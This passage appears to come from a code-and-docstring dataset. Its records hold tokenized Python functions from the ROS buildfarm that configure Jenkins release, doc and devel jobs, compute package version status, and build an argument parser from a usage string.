is_source_disabled and other_build_files_same_platform:<EOL><INDENT>for other_build_file in other_build_files_same_platform:<EOL><INDENT>if other_build_file.filter_packages([pkg_name]):<EOL><INDENT>is_source_disabled = False<EOL>break<EOL><DEDENT><DEDENT><DEDENT>job_config = _get_sourcedeb_job_config(<EOL>config_url, rosdistro_name, release_build_name,<EOL>config, build_file, os_name, os_code_name,<EOL>pkg_name, repo_name, repo.release_repository, dist_cache=dist_cache,<EOL>is_disabled=is_source_disabled,<EOL>other_build_files_same_platform=other_build_files_same_platform)<EOL>if isinstance(jenkins, object) and jenkins is not False:<EOL><INDENT>from ros_buildfarm.jenkins import configure_job<EOL>configure_job(jenkins, source_job_name, job_config, dry_run=dry_run)<EOL><DEDENT>source_job_names.append(source_job_name)<EOL>job_configs[source_job_name] = job_config<EOL>dependency_names = []<EOL>if build_file.abi_incompatibility_assumed:<EOL><INDENT>dependency_names = _get_direct_dependencies(<EOL>pkg_name, dist_cache, pkg_names)<EOL>if dependency_names is None:<EOL><INDENT>print((\"<STR_LIT>\" +<EOL>\"<STR_LIT>\") % pkg_name, file=sys.stderr)<EOL>return source_job_names, binary_job_names, job_configs<EOL><DEDENT><DEDENT>for arch in build_file.targets[os_name][os_code_name]:<EOL><INDENT>if filter_arches and arch not in filter_arches:<EOL><INDENT>continue<EOL><DEDENT>job_name = get_binarydeb_job_name(<EOL>rosdistro_name, release_build_name,<EOL>pkg_name, os_name, os_code_name, arch)<EOL>upstream_job_names = [source_job_name] + [<EOL>get_binarydeb_job_name(<EOL>rosdistro_name, release_build_name,<EOL>dependency_name, os_name, os_code_name, arch)<EOL>for dependency_name in dependency_names]<EOL>job_config = _get_binarydeb_job_config(<EOL>config_url, rosdistro_name, release_build_name,<EOL>config, build_file, os_name, os_code_name, arch,<EOL>pkg_name, repo_name, repo.release_repository,<EOL>dist_cache=dist_cache, upstream_job_names=upstream_job_names,<EOL>is_disabled=is_disabled)<EOL>if isinstance(jenkins, object) and jenkins is not False:<EOL><INDENT>configure_job(jenkins, job_name, job_config, dry_run=dry_run)<EOL><DEDENT>binary_job_names.append(job_name)<EOL>job_configs[job_name] = job_config<EOL><DEDENT>return source_job_names, binary_job_names, job_configs<EOL>", "docstring": "Configure a Jenkins release job.\n\nThe following jobs are created for each package:\n- M source jobs, one for each OS node name\n- M * N binary jobs, one for each combination of OS code name and arch", "id": "f6904:m2"}
{"signature": "def configure_doc_jobs(<EOL>config_url, rosdistro_name, doc_build_name, groovy_script=None,<EOL>dry_run=False, whitelist_repository_names=None):", "body": "config = get_config_index(config_url)<EOL>build_files = get_doc_build_files(config, rosdistro_name)<EOL>build_file = build_files[doc_build_name]<EOL>index = get_index(config.rosdistro_index_url)<EOL>dist_cache = None<EOL>if build_file.notify_maintainers:<EOL><INDENT>dist_cache = get_distribution_cache(index, rosdistro_name)<EOL><DEDENT>targets = []<EOL>for os_name in build_file.targets.keys():<EOL><INDENT>for os_code_name in build_file.targets[os_name].keys():<EOL><INDENT>for arch in build_file.targets[os_name][os_code_name]:<EOL><INDENT>targets.append((os_name, os_code_name, arch))<EOL><DEDENT><DEDENT><DEDENT>print('<STR_LIT>')<EOL>for os_name, os_code_name, arch in targets:<EOL><INDENT>print('<STR_LIT>', os_name, os_code_name, arch)<EOL><DEDENT>dist_file = get_distribution_file(index, rosdistro_name, build_file)<EOL>if not dist_file:<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>doc_view_name = get_doc_view_name(rosdistro_name, doc_build_name)<EOL>from ros_buildfarm.jenkins import connect<EOL>jenkins = connect(config.jenkins_url) if groovy_script is None else False<EOL>view_configs = {}<EOL>views = {}<EOL>views[doc_view_name] = configure_doc_view(<EOL>jenkins, doc_view_name, dry_run=dry_run)<EOL>if not jenkins:<EOL><INDENT>view_configs.update(views)<EOL><DEDENT>groovy_data = {<EOL>'<STR_LIT>': dry_run,<EOL>'<STR_LIT>': len(view_configs),<EOL>}<EOL>repo_names = dist_file.repositories.keys()<EOL>filtered_repo_names = build_file.filter_repositories(repo_names)<EOL>job_names = []<EOL>job_configs = OrderedDict()<EOL>for repo_name in sorted(repo_names):<EOL><INDENT>if whitelist_repository_names:<EOL><INDENT>if repo_name not in whitelist_repository_names:<EOL><INDENT>print(<EOL>\"<STR_LIT>\" %<EOL>repo_name, file=sys.stderr)<EOL>continue<EOL><DEDENT><DEDENT>is_disabled = repo_name not in filtered_repo_names<EOL>if is_disabled and build_file.skip_ignored_repositories:<EOL><INDENT>print(\"<STR_LIT>\" % repo_name,<EOL>file=sys.stderr)<EOL>continue<EOL><DEDENT>repo = dist_file.repositories[repo_name]<EOL>if not repo.doc_repository:<EOL><INDENT>print(\"<STR_LIT>\" % repo_name)<EOL>continue<EOL><DEDENT>if not repo.doc_repository.version:<EOL><INDENT>print(\"<STR_LIT>\" % repo_name)<EOL>continue<EOL><DEDENT>for os_name, os_code_name, arch in targets:<EOL><INDENT>try:<EOL><INDENT>job_name, job_config = configure_doc_job(<EOL>config_url, rosdistro_name, doc_build_name,<EOL>repo_name, os_name, os_code_name, arch,<EOL>config=config, build_file=build_file,<EOL>index=index, dist_file=dist_file,<EOL>dist_cache=dist_cache, jenkins=jenkins, views=views,<EOL>is_disabled=is_disabled,<EOL>groovy_script=groovy_script,<EOL>dry_run=dry_run)<EOL>job_names.append(job_name)<EOL>if groovy_script is not None:<EOL><INDENT>print(\"<STR_LIT>\" % job_name)<EOL>job_configs[job_name] = job_config<EOL><DEDENT><DEDENT>except JobValidationError as e:<EOL><INDENT>print(e.message, file=sys.stderr)<EOL><DEDENT><DEDENT><DEDENT>groovy_data['<STR_LIT>'] = len(job_configs)<EOL>groovy_data['<STR_LIT>'] = {}<EOL>job_prefix = '<STR_LIT>' % doc_view_name<EOL>if not whitelist_repository_names:<EOL><INDENT>groovy_data['<STR_LIT>']['<STR_LIT>'] = (job_prefix, job_names)<EOL>if groovy_script is None:<EOL><INDENT>from ros_buildfarm.jenkins import remove_jobs<EOL>print('<STR_LIT>')<EOL>remove_jobs(jenkins, job_prefix, job_names, dry_run=dry_run)<EOL><DEDENT><DEDENT>if groovy_script is not None:<EOL><INDENT>print(<EOL>\"<STR_LIT>\" %<EOL>(groovy_script, len(view_configs), len(job_configs)))<EOL>content = expand_template(<EOL>'<STR_LIT>', groovy_data)<EOL>write_groovy_script_and_configs(<EOL>groovy_script, content, job_configs, view_configs=view_configs)<EOL><DEDENT>", "docstring": "Configure all Jenkins doc jobs.\n\nL{configure_doc_job} will be invoked for doc repository and target\nwhich matches the build file criteria.", "id": "f6905:m0"}
{"signature": "def configure_doc_job(<EOL>config_url, rosdistro_name, doc_build_name,<EOL>repo_name, os_name, os_code_name, arch,<EOL>config=None, build_file=None,<EOL>index=None, dist_file=None, dist_cache=None,<EOL>jenkins=None, views=None,<EOL>is_disabled=False,<EOL>groovy_script=None,<EOL>doc_repository=None,<EOL>dry_run=False):", "body": "if config is None:<EOL><INDENT>config = get_config_index(config_url)<EOL><DEDENT>if build_file is None:<EOL><INDENT>build_files = get_doc_build_files(config, rosdistro_name)<EOL>build_file = build_files[doc_build_name]<EOL><DEDENT>if index is None:<EOL><INDENT>index = get_index(config.rosdistro_index_url)<EOL><DEDENT>if dist_file is None:<EOL><INDENT>dist_file = get_distribution_file(index, rosdistro_name, build_file)<EOL>if not dist_file:<EOL><INDENT>raise JobValidationError(<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>repo_names = dist_file.repositories.keys()<EOL>if repo_name is not None:<EOL><INDENT>if repo_name not in repo_names:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % repo_name +<EOL>'<STR_LIT>' %<EOL>'<STR_LIT:U+002CU+0020>'.join(sorted(repo_names)))<EOL><DEDENT>repo = dist_file.repositories[repo_name]<EOL>if not repo.doc_repository:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % repo_name)<EOL><DEDENT>if not repo.doc_repository.version:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % repo_name)<EOL><DEDENT>doc_repository = repo.doc_repository<EOL><DEDENT>if os_name not in build_file.targets.keys():<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % os_name +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT:U+002CU+0020>'.join(sorted(build_file.targets.keys())))<EOL><DEDENT>if os_code_name not in build_file.targets[os_name].keys():<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % os_code_name +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT:U+002CU+0020>'.join(sorted(build_file.targets[os_name].keys())))<EOL><DEDENT>if arch not in build_file.targets[os_name][os_code_name]:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % arch +<EOL>'<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(sorted(<EOL>build_file.targets[os_name][os_code_name])))<EOL><DEDENT>if dist_cache is None and build_file.notify_maintainers:<EOL><INDENT>dist_cache = get_distribution_cache(index, rosdistro_name)<EOL><DEDENT>if jenkins is None:<EOL><INDENT>from ros_buildfarm.jenkins import connect<EOL>jenkins = connect(config.jenkins_url)<EOL><DEDENT>if views is None:<EOL><INDENT>view_name = get_doc_view_name(<EOL>rosdistro_name, doc_build_name)<EOL>configure_doc_view(jenkins, view_name, dry_run=dry_run)<EOL><DEDENT>job_name = get_doc_job_name(<EOL>rosdistro_name, doc_build_name,<EOL>repo_name, os_name, os_code_name, arch)<EOL>job_config = _get_doc_job_config(<EOL>config, config_url, rosdistro_name, doc_build_name,<EOL>build_file, os_name, os_code_name, arch, doc_repository,<EOL>repo_name, dist_cache=dist_cache, is_disabled=is_disabled)<EOL>if isinstance(jenkins, object) and jenkins is not False:<EOL><INDENT>from ros_buildfarm.jenkins import configure_job<EOL>configure_job(jenkins, job_name, job_config, dry_run=dry_run)<EOL><DEDENT>return job_name, job_config<EOL>", "docstring": "Configure a single Jenkins doc job.\n\nThis includes the following steps:\n- clone the doc repository to use\n- clone the ros_buildfarm repository\n- write the distribution repository keys into files\n- invoke the run_doc_job.py script", "id": "f6905:m1"}
{"signature": "def write_groovy_script_and_configs(<EOL>filename, content, job_configs, view_configs=None):", "body": "with open(filename, '<STR_LIT:w>') as h:<EOL><INDENT>h.write(content)<EOL><DEDENT>if view_configs:<EOL><INDENT>view_config_dir = os.path.join(os.path.dirname(filename), '<STR_LIT>')<EOL>if not os.path.isdir(view_config_dir):<EOL><INDENT>os.makedirs(view_config_dir)<EOL><DEDENT>for config_name, config_body in view_configs.items():<EOL><INDENT>config_filename = os.path.join(view_config_dir, config_name)<EOL>with open(config_filename, '<STR_LIT:w>') as config_fh:<EOL><INDENT>config_fh.write(config_body)<EOL><DEDENT><DEDENT><DEDENT>job_config_dir = os.path.join(os.path.dirname(filename), '<STR_LIT>')<EOL>if not os.path.isdir(job_config_dir):<EOL><INDENT>os.makedirs(job_config_dir)<EOL><DEDENT>format_str = '<STR_LIT>' + str(len(str(len(job_configs)))) + '<STR_LIT:d>'<EOL>i = <NUM_LIT:0><EOL>for config_name, config_body in job_configs.items():<EOL><INDENT>i += <NUM_LIT:1><EOL>config_filename = os.path.join(<EOL>job_config_dir,<EOL>format_str % i + '<STR_LIT:U+0020>' + config_name)<EOL>with open(config_filename, '<STR_LIT:w>') as config_fh:<EOL><INDENT>config_fh.write(config_body)<EOL><DEDENT><DEDENT>", "docstring": "Write out the groovy script and configs to file.\n\n    This writes the reconfigure script to the file location\n    and places the expanded configs in subdirectories 'view_configs' /\n    'job_configs' that the script can then access when run.", "id": "f6919:m32"}
{"signature": "def topological_order_packages(packages):", "body": "from catkin_pkg.topological_order import _PackageDecorator<EOL>from catkin_pkg.topological_order import _sort_decorated_packages<EOL>decorators_by_name = {}<EOL>for path, package in packages.items():<EOL><INDENT>decorators_by_name[package.name] = _PackageDecorator(package, path)<EOL><DEDENT>for decorator in decorators_by_name.values():<EOL><INDENT>decorator.depends_for_topological_order = set([])<EOL>all_depends =decorator.package.build_depends + decorator.package.buildtool_depends +decorator.package.run_depends + decorator.package.test_depends<EOL>unique_depend_names = set([<EOL>d.name for d in all_depends if d.name in decorators_by_name.keys()])<EOL>for name in unique_depend_names:<EOL><INDENT>if name in decorator.depends_for_topological_order:<EOL><INDENT>continue<EOL><DEDENT>decorators_by_name[name]._add_recursive_run_depends(<EOL>decorators_by_name, decorator.depends_for_topological_order)<EOL><DEDENT><DEDENT>ordered_pkg_tuples = _sort_decorated_packages(decorators_by_name)<EOL>for pkg_path, pkg in ordered_pkg_tuples:<EOL><INDENT>if pkg_path is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>' % pkg)<EOL><DEDENT><DEDENT>return ordered_pkg_tuples<EOL>", "docstring": "Order packages topologically.\n\nFirst returning packages which have message generators and then\nthe rest based on all direct depends and indirect recursive run_depends.\n\n:param packages: A dict mapping relative paths to ``Package`` objects ``dict``\n:returns: A list of tuples containing the relative path and a ``Package`` object, ``list``", "id": "f6919:m33"}
{"signature": "def get_version_status(<EOL>package_descriptors, targets, repos_data,<EOL>strip_version=False, strip_os_code_name=False):", "body": "status = {}<EOL>for package_descriptor in package_descriptors.values():<EOL><INDENT>pkg_name = package_descriptor.pkg_name<EOL>debian_pkg_name = package_descriptor.debian_pkg_name<EOL>ref_version = package_descriptor.version<EOL>if strip_version:<EOL><INDENT>ref_version = _strip_version_suffix(ref_version)<EOL><DEDENT>status[pkg_name] = {}<EOL>for target in targets:<EOL><INDENT>statuses = []<EOL>for repo_data in repos_data:<EOL><INDENT>version = repo_data.get(target, {}).get(debian_pkg_name, None)<EOL>if strip_version:<EOL><INDENT>version = _strip_version_suffix(version)<EOL><DEDENT>if strip_os_code_name:<EOL><INDENT>version = _strip_os_code_name_suffix(<EOL>version, target.os_code_name)<EOL><DEDENT>if ref_version:<EOL><INDENT>if not version:<EOL><INDENT>statuses.append('<STR_LIT>')<EOL><DEDENT>elif version.startswith(ref_version):  <EOL><INDENT>statuses.append('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if _version_is_gt_other(version, ref_version):<EOL><INDENT>statuses.append('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>statuses.append('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if not version:<EOL><INDENT>statuses.append('<STR_LIT:ignore>')<EOL><DEDENT>else:<EOL><INDENT>statuses.append('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>status[pkg_name][target] = statuses<EOL><DEDENT><DEDENT>return status<EOL>", "docstring": "For each package and target check if it is affected by a sync.\n\nThis is the case when the package version in the testing repo is different\nfrom the version in the main repo.\n\n:return: a dict indexed by package names containing\n  dicts indexed by targets containing\n  a list of status strings (one for each repo)", "id": "f6929:m7"}
{"signature": "def _strip_version_suffix(version):", "body": "global version_regex<EOL>if not version:<EOL><INDENT>return version<EOL><DEDENT>match = version_regex.search(version)<EOL>return match.group(<NUM_LIT:0>) if match else version<EOL>", "docstring": "Remove trailing junk from the version number.\n\n>>> strip_version_suffix('')\n''\n>>> strip_version_suffix('None')\n'None'\n>>> strip_version_suffix('1.2.3-4trusty-20140131-1359-+0000')\n'1.2.3-4'\n>>> strip_version_suffix('1.2.3-foo')\n'1.2.3'", "id": "f6929:m8"}
{"signature": "def get_homogeneous(package_descriptors, targets, repos_data):", "body": "homogeneous = {}<EOL>for package_descriptor in package_descriptors.values():<EOL><INDENT>pkg_name = package_descriptor.pkg_name<EOL>debian_pkg_name = package_descriptor.debian_pkg_name<EOL>versions = []<EOL>for repo_data in repos_data:<EOL><INDENT>versions.append(set([]))<EOL>for target in targets:<EOL><INDENT>version = _strip_version_suffix(<EOL>repo_data.get(target, {}).get(debian_pkg_name, None))<EOL>versions[-<NUM_LIT:1>].add(version)<EOL><DEDENT><DEDENT>homogeneous[pkg_name] = max([len(v) for v in versions]) == <NUM_LIT:1><EOL><DEDENT>return homogeneous<EOL>", "docstring": "For each package check if the version in one repo is equal for all targets.\n\nThe version could be different in different repos though.\n\n:return: a dict indexed by package names containing a boolean flag", "id": "f6929:m10"}
{"signature": "def get_package_counts(package_descriptors, targets, repos_data):", "body": "counts = {}<EOL>for target in targets:<EOL><INDENT>counts[target] = [<NUM_LIT:0>] * len(repos_data)<EOL><DEDENT>for package_descriptor in package_descriptors.values():<EOL><INDENT>debian_pkg_name = package_descriptor.debian_pkg_name<EOL>for target in targets:<EOL><INDENT>for i, repo_data in enumerate(repos_data):<EOL><INDENT>version = repo_data.get(target, {}).get(debian_pkg_name, None)<EOL>if version:<EOL><INDENT>counts[target][i] += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>return counts<EOL>", "docstring": "Get the number of packages per target and repository.\n\n:return: a dict indexed by targets containing\n  a list of integer values (one for each repo)", "id": "f6929:m11"}
{"signature": "def get_jenkins_job_urls(<EOL>rosdistro_name, jenkins_url, release_build_name, targets):", "body": "urls = {}<EOL>for target in targets:<EOL><INDENT>view_name = get_release_view_name(<EOL>rosdistro_name, release_build_name,<EOL>target.os_name, target.os_code_name, target.arch)<EOL>base_url = jenkins_url + '<STR_LIT>' %(view_name, view_name)<EOL>if target.arch == '<STR_LIT:source>':<EOL><INDENT>urls[target] = base_url + '<STR_LIT>' %(target.os_name, target.os_code_name)<EOL><DEDENT>else:<EOL><INDENT>urls[target] = base_url + '<STR_LIT>' %(target.os_name, target.os_code_name, target.arch)<EOL><DEDENT><DEDENT>return urls<EOL>", "docstring": "Get the Jenkins job urls for each target.\n\nThe placeholder {pkg} needs to be replaced with the ROS package name.\n\n:return: a dict indexed by targets containing a string", "id": "f6929:m12"}
{"signature": "def configure_devel_jobs(<EOL>config_url, rosdistro_name, source_build_name, groovy_script=None,<EOL>dry_run=False, whitelist_repository_names=None):", "body": "config = get_config_index(config_url)<EOL>build_files = get_source_build_files(config, rosdistro_name)<EOL>build_file = build_files[source_build_name]<EOL>index = get_index(config.rosdistro_index_url)<EOL>dist_cache = None<EOL>if build_file.notify_maintainers:<EOL><INDENT>dist_cache = get_distribution_cache(index, rosdistro_name)<EOL><DEDENT>targets = []<EOL>for os_name in build_file.targets.keys():<EOL><INDENT>for os_code_name in build_file.targets[os_name].keys():<EOL><INDENT>for arch in build_file.targets[os_name][os_code_name]:<EOL><INDENT>targets.append((os_name, os_code_name, arch))<EOL><DEDENT><DEDENT><DEDENT>print('<STR_LIT>')<EOL>for os_name, os_code_name, arch in targets:<EOL><INDENT>print('<STR_LIT>', os_name, os_code_name, arch)<EOL><DEDENT>dist_file = get_distribution_file(index, rosdistro_name, build_file)<EOL>if not dist_file:<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>devel_view_name = get_devel_view_name(<EOL>rosdistro_name, source_build_name, pull_request=False)<EOL>pull_request_view_name = get_devel_view_name(<EOL>rosdistro_name, source_build_name, pull_request=True)<EOL>from ros_buildfarm.jenkins import connect<EOL>jenkins = connect(config.jenkins_url) if groovy_script is None else False<EOL>view_configs = {}<EOL>views = {}<EOL>if build_file.test_commits_force is not False:<EOL><INDENT>views[devel_view_name] = configure_devel_view(<EOL>jenkins, devel_view_name, dry_run=dry_run)<EOL><DEDENT>if build_file.test_pull_requests_force is not False:<EOL><INDENT>views[pull_request_view_name] = configure_devel_view(<EOL>jenkins, pull_request_view_name, dry_run=dry_run)<EOL><DEDENT>if not jenkins:<EOL><INDENT>view_configs.update(views)<EOL><DEDENT>groovy_data = {<EOL>'<STR_LIT>': dry_run,<EOL>'<STR_LIT>': len(view_configs),<EOL>}<EOL>repo_names = dist_file.repositories.keys()<EOL>filtered_repo_names = build_file.filter_repositories(repo_names)<EOL>devel_job_names = []<EOL>pull_request_job_names = []<EOL>job_configs = OrderedDict()<EOL>for repo_name in sorted(repo_names):<EOL><INDENT>if whitelist_repository_names:<EOL><INDENT>if repo_name not in whitelist_repository_names:<EOL><INDENT>print(<EOL>\"<STR_LIT>\" %<EOL>repo_name, file=sys.stderr)<EOL>continue<EOL><DEDENT><DEDENT>is_disabled = repo_name not in filtered_repo_names<EOL>if is_disabled and build_file.skip_ignored_repositories:<EOL><INDENT>print(\"<STR_LIT>\" % repo_name,<EOL>file=sys.stderr)<EOL>continue<EOL><DEDENT>repo = dist_file.repositories[repo_name]<EOL>if not repo.source_repository:<EOL><INDENT>print(\"<STR_LIT>\" % repo_name)<EOL>continue<EOL><DEDENT>if not repo.source_repository.version:<EOL><INDENT>print(\"<STR_LIT>\" % repo_name)<EOL>continue<EOL><DEDENT>job_types = []<EOL>if build_file.test_commits_force is False:<EOL><INDENT>print((\"<STR_LIT>\" +<EOL>\"<STR_LIT>\") % repo_name)<EOL><DEDENT>elif repo.source_repository.test_commits is False:<EOL><INDENT>print((\"<STR_LIT>\" +<EOL>\"<STR_LIT>\") % repo_name)<EOL><DEDENT>elif repo.source_repository.test_commits is None andnot build_file.test_commits_default:<EOL><INDENT>print((\"<STR_LIT>\" +<EOL>\"<STR_LIT>\") % repo_name)<EOL><DEDENT>else:<EOL><INDENT>job_types.append('<STR_LIT>')<EOL><DEDENT>if not is_disabled:<EOL><INDENT>if build_file.test_pull_requests_force is False:<EOL><INDENT>pass<EOL><DEDENT>elif repo.source_repository.test_pull_requests is False:<EOL><INDENT>pass<EOL><DEDENT>elif repo.source_repository.test_pull_requests is None andnot build_file.test_pull_requests_default:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % repo_name)<EOL>job_types.append('<STR_LIT>')<EOL><DEDENT><DEDENT>for job_type in job_types:<EOL><INDENT>pull_request = job_type == '<STR_LIT>'<EOL>for os_name, os_code_name, arch in targets:<EOL><INDENT>try:<EOL><INDENT>job_name, job_config = configure_devel_job(<EOL>config_url, rosdistro_name, source_build_name,<EOL>repo_name, os_name, os_code_name, arch, pull_request,<EOL>config=config, build_file=build_file,<EOL>index=index, dist_file=dist_file,<EOL>dist_cache=dist_cache, jenkins=jenkins, views=views,<EOL>is_disabled=is_disabled,<EOL>groovy_script=groovy_script,<EOL>dry_run=dry_run)<EOL>if not pull_request:<EOL><INDENT>devel_job_names.append(job_name)<EOL><DEDENT>else:<EOL><INDENT>pull_request_job_names.append(job_name)<EOL><DEDENT>if groovy_script is not None:<EOL><INDENT>print(\"<STR_LIT>\" % job_name)<EOL>job_configs[job_name] = job_config<EOL><DEDENT><DEDENT>except JobValidationError as e:<EOL><INDENT>print(e.message, file=sys.stderr)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>groovy_data['<STR_LIT>'] = len(job_configs)<EOL>groovy_data['<STR_LIT>'] = {}<EOL>devel_job_prefix = '<STR_LIT>' % devel_view_name<EOL>pull_request_job_prefix = '<STR_LIT>' % pull_request_view_name<EOL>if not whitelist_repository_names:<EOL><INDENT>groovy_data['<STR_LIT>']['<STR_LIT>'] =(devel_job_prefix, devel_job_names)<EOL>groovy_data['<STR_LIT>']['<STR_LIT>'] =(pull_request_job_prefix, pull_request_job_names)<EOL>if groovy_script is None:<EOL><INDENT>from ros_buildfarm.jenkins import remove_jobs<EOL>print('<STR_LIT>')<EOL>remove_jobs(<EOL>jenkins, devel_job_prefix, devel_job_names, dry_run=dry_run)<EOL>print('<STR_LIT>')<EOL>remove_jobs(<EOL>jenkins, pull_request_job_prefix, pull_request_job_names,<EOL>dry_run=dry_run)<EOL><DEDENT><DEDENT>if groovy_script is not None:<EOL><INDENT>print(<EOL>\"<STR_LIT>\" %<EOL>(groovy_script, len(view_configs), len(job_configs)))<EOL>content = expand_template(<EOL>'<STR_LIT>', groovy_data)<EOL>write_groovy_script_and_configs(<EOL>groovy_script, content, job_configs, view_configs=view_configs)<EOL><DEDENT>", "docstring": "Configure all Jenkins devel jobs.\n\nL{configure_release_job} will be invoked for source repository and target\nwhich matches the build file criteria.", "id": "f6933:m0"}
{"signature": "def configure_devel_job(<EOL>config_url, rosdistro_name, source_build_name,<EOL>repo_name, os_name, os_code_name, arch,<EOL>pull_request=False,<EOL>config=None, build_file=None,<EOL>index=None, dist_file=None, dist_cache=None,<EOL>jenkins=None, views=None,<EOL>is_disabled=False,<EOL>groovy_script=None,<EOL>source_repository=None,<EOL>build_targets=None,<EOL>dry_run=False):", "body": "if config is None:<EOL><INDENT>config = get_config_index(config_url)<EOL><DEDENT>if build_file is None:<EOL><INDENT>build_files = get_source_build_files(config, rosdistro_name)<EOL>build_file = build_files[source_build_name]<EOL><DEDENT>if build_targets is not None:<EOL><INDENT>build_file.targets = build_targets<EOL><DEDENT>if index is None:<EOL><INDENT>index = get_index(config.rosdistro_index_url)<EOL><DEDENT>if dist_file is None:<EOL><INDENT>dist_file = get_distribution_file(index, rosdistro_name, build_file)<EOL>if not dist_file:<EOL><INDENT>raise JobValidationError(<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>repo_names = dist_file.repositories.keys()<EOL>if repo_name is not None:<EOL><INDENT>if repo_name not in repo_names:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % repo_name +<EOL>'<STR_LIT>' %<EOL>'<STR_LIT:U+002CU+0020>'.join(sorted(repo_names)))<EOL><DEDENT>repo = dist_file.repositories[repo_name]<EOL>if not repo.source_repository:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % repo_name)<EOL><DEDENT>if not repo.source_repository.version:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % repo_name)<EOL><DEDENT>source_repository = repo.source_repository<EOL><DEDENT>if os_name not in build_file.targets.keys():<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % os_name +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT:U+002CU+0020>'.join(sorted(build_file.targets.keys())))<EOL><DEDENT>if os_code_name not in build_file.targets[os_name].keys():<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % os_code_name +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT:U+002CU+0020>'.join(sorted(build_file.targets[os_name].keys())))<EOL><DEDENT>if arch not in build_file.targets[os_name][os_code_name]:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % arch +<EOL>'<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(sorted(<EOL>build_file.targets[os_name][os_code_name])))<EOL><DEDENT>if dist_cache is None and build_file.notify_maintainers:<EOL><INDENT>dist_cache = get_distribution_cache(index, rosdistro_name)<EOL><DEDENT>if jenkins is None:<EOL><INDENT>from ros_buildfarm.jenkins import connect<EOL>jenkins = connect(config.jenkins_url)<EOL><DEDENT>if views is None:<EOL><INDENT>view_name = get_devel_view_name(<EOL>rosdistro_name, source_build_name, pull_request=pull_request)<EOL>configure_devel_view(jenkins, view_name, dry_run=dry_run)<EOL><DEDENT>job_name = get_devel_job_name(<EOL>rosdistro_name, source_build_name,<EOL>repo_name, os_name, os_code_name, arch, pull_request)<EOL>job_config = _get_devel_job_config(<EOL>index, config, rosdistro_name, source_build_name,<EOL>build_file, os_name, os_code_name, arch, source_repository,<EOL>repo_name, pull_request, job_name, dist_cache=dist_cache,<EOL>is_disabled=is_disabled)<EOL>if isinstance(jenkins, object) and jenkins is not False:<EOL><INDENT>from ros_buildfarm.jenkins import configure_job<EOL>configure_job(jenkins, job_name, job_config, dry_run=dry_run)<EOL><DEDENT>return job_name, job_config<EOL>", "docstring": "Configure a single Jenkins devel job.\n\nThis includes the following steps:\n- clone the source repository to use\n- clone the ros_buildfarm repository\n- write the distribution repository keys into files\n- invoke the release/run_devel_job.py script", "id": "f6933:m1"}
{"signature": "def create_parser(usage):", "body": "parser = ArgumentParser()<EOL>add_to_parser(parser, usage)<EOL>return parser<EOL>", "docstring": "Creates an argument parser from a condensed usage string in the format of:\n\nThis is the program description\n\n:pos_arg_name int\n    This is the help message\n    which can span multiple lines\n:-o --optional_arg str default_value\n    The type can be any valid python type\n:-eo --extra-option\n    This adds args.extra_option as a bool\n    which is False by default\n\nArgs:\n    usage (str): Usage string in the format described above\nReturns:\n    ArgumentParser: parser object created from the described string", "id": "f7009:m0"}
{"signature": "def add_to_parser(parser, usage, ignore_existing=False):", "body": "usage = '<STR_LIT:\\n>' + usage<EOL>first_line = [i for i in usage.split('<STR_LIT:\\n>') if i][<NUM_LIT:0>]<EOL>indent = '<STR_LIT:U+0020>' * (len(first_line) - len(first_line.lstrip('<STR_LIT:U+0020>')))<EOL>usage = usage.replace('<STR_LIT:\\n>' + indent, '<STR_LIT:\\n>')<EOL>usage = usage.replace('<STR_LIT>', '<STR_LIT>')<EOL>defaults = {}<EOL>description, *descriptors = usage.split('<STR_LIT>')<EOL>description = description.replace('<STR_LIT:\\n>', '<STR_LIT:U+0020>').strip()<EOL>if description and (not parser.description or not ignore_existing):<EOL><INDENT>parser.description = description<EOL><DEDENT>for descriptor in descriptors:<EOL><INDENT>try:<EOL><INDENT>options, *info = descriptor.split('<STR_LIT:\\n>')<EOL>info = '<STR_LIT:U+0020>'.join(i for i in info if i).replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL>if options.count('<STR_LIT:U+0020>') == <NUM_LIT:1>:<EOL><INDENT>if options[<NUM_LIT:0>] == '<STR_LIT:->':<EOL><INDENT>short, long = options.split('<STR_LIT:U+0020>')<EOL>var_name = long.strip('<STR_LIT:->').replace('<STR_LIT:->', '<STR_LIT:_>')<EOL>parser.add_argument(short, long, dest=var_name, action='<STR_LIT:store_true>', help=info)<EOL>defaults[var_name] = False<EOL><DEDENT>else:<EOL><INDENT>short, typ = options.split('<STR_LIT:U+0020>')<EOL>parser.add_argument(short, type=types[typ], help=info)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>short, long, typ, default = options.split('<STR_LIT:U+0020>')<EOL>info = info.rstrip() + '<STR_LIT>' + default<EOL>default = 